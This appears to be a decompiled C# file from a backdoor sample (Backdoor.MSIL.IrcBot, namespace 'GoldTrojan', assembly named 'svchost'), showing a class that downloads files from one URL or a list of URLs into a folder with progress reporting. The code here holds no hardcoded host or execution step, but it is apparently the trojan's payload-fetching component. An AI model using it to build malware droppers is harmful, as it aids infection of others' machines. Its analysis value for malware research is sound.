// Decompiled with JetBrains decompiler
// Type: GoldTrojan.FileDownloader
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Threading;

namespace GoldTrojan
{
  public class FileDownloader
  {
    private const int downloadBlockSize = 1024;
    private bool canceled;
    private string downloadingTo;
    private IWebProxy proxy;

    public string DownloadingTo => this.downloadingTo;

    public void Cancel() => this.canceled = true;

    public event DownloadProgressHandler ProgressChanged;

    public IWebProxy Proxy
    {
      get => this.proxy;
      set => this.proxy = value;
    }

    public event EventHandler DownloadComplete;

    private void OnDownloadComplete()
    {
      if (this.DownloadComplete == null)
        return;
      this.DownloadComplete((object) this, new EventArgs());
    }

    public void Download(string url) => this.Download(url, "");

    public void Download(string url, string destFolder)
    {
      DownloadData downloadData = (DownloadData) null;
      this.canceled = false;
      try
      {
        downloadData = DownloadData.Create(url, destFolder, this.proxy);
        string fileName = Path.GetFileName(downloadData.Response.ResponseUri.ToString());
        destFolder = destFolder.Replace("file:///", "").Replace("file://", "");
        this.downloadingTo = Path.Combine(destFolder, fileName);
        if (!System.IO.File.Exists(this.downloadingTo))
          System.IO.File.Create(this.downloadingTo).Close();
        byte[] buffer = new byte[1024];
        long startPoint = downloadData.StartPoint;
        bool flag = false;
        int count;
        while ((count = downloadData.DownloadStream.Read(buffer, 0, 1024)) > 0)
        {
          if (this.canceled)
          {
            flag = true;
            downloadData.Close();
            break;
          }
          startPoint += (long) count;
          this.SaveToFile(buffer, count, this.downloadingTo);
          if (downloadData.IsProgressKnown)
            this.RaiseProgressChanged(startPoint, downloadData.FileSize);
          if (this.canceled)
          {
            flag = true;
            downloadData.Close();
            break;
          }
        }
        if (flag)
          return;
        this.OnDownloadComplete();
      }
      catch (UriFormatException ex)
      {
        throw new ArgumentException(string.Format("Could not parse the URL \"{0}\" - it's either malformed or is an unknown protocol.", (object) url), (Exception) ex);
      }
      finally
      {
        downloadData?.Close();
      }
    }

    public void Download(List<string> urlList) => this.Download(urlList, "");

    public void Download(List<string> urlList, string destFolder)
    {
      if (urlList == null)
        throw new ArgumentException("Url list not specified.");
      if (urlList.Count == 0)
        throw new ArgumentException("Url list empty.");
      Exception exception = (Exception) null;
      foreach (string url in urlList)
      {
        exception = (Exception) null;
        try
        {
          this.Download(url, destFolder);
        }
        catch (Exception ex)
        {
          exception = ex;
        }
        if (exception == null)
          break;
      }
      if (exception != null)
        throw exception;
    }

    public void AsyncDownload(string url) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
    {
      url,
      ""
    });

    public void AsyncDownload(string url, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
    {
      url,
      destFolder
    });

    public void AsyncDownload(List<string> urlList, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
    {
      (object) urlList,
      (object) destFolder
    });

    public void AsyncDownload(List<string> urlList) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
    {
      (object) urlList,
      (object) ""
    });

    private void WaitCallbackMethod(object data)
    {
      if (data is string[])
      {
        string[] strArray = data as string[];
        this.Download(strArray[0], strArray[1]);
      }
      else
      {
        object[] objArray = data as object[];
        this.Download(objArray[0] as List<string>, objArray[1] as string);
      }
    }

    private void SaveToFile(byte[] buffer, int count, string fileName)
    {
      FileStream fileStream = (FileStream) null;
      try
      {
        fileStream = System.IO.File.Open(fileName, FileMode.Append, FileAccess.Write);
        fileStream.Write(buffer, 0, count);
      }
      catch (ArgumentException ex)
      {
        throw new ArgumentException(string.Format("Error trying to save file \"{0}\": {1}", (object) fileName, (object) ex.Message), (Exception) ex);
      }
      finally
      {
        fileStream?.Close();
      }
    }

    private void RaiseProgressChanged(long current, long target)
    {
      if (this.ProgressChanged == null)
        return;
      this.ProgressChanged((object) this, new DownloadEventArgs(target, current));
    }
  }
}
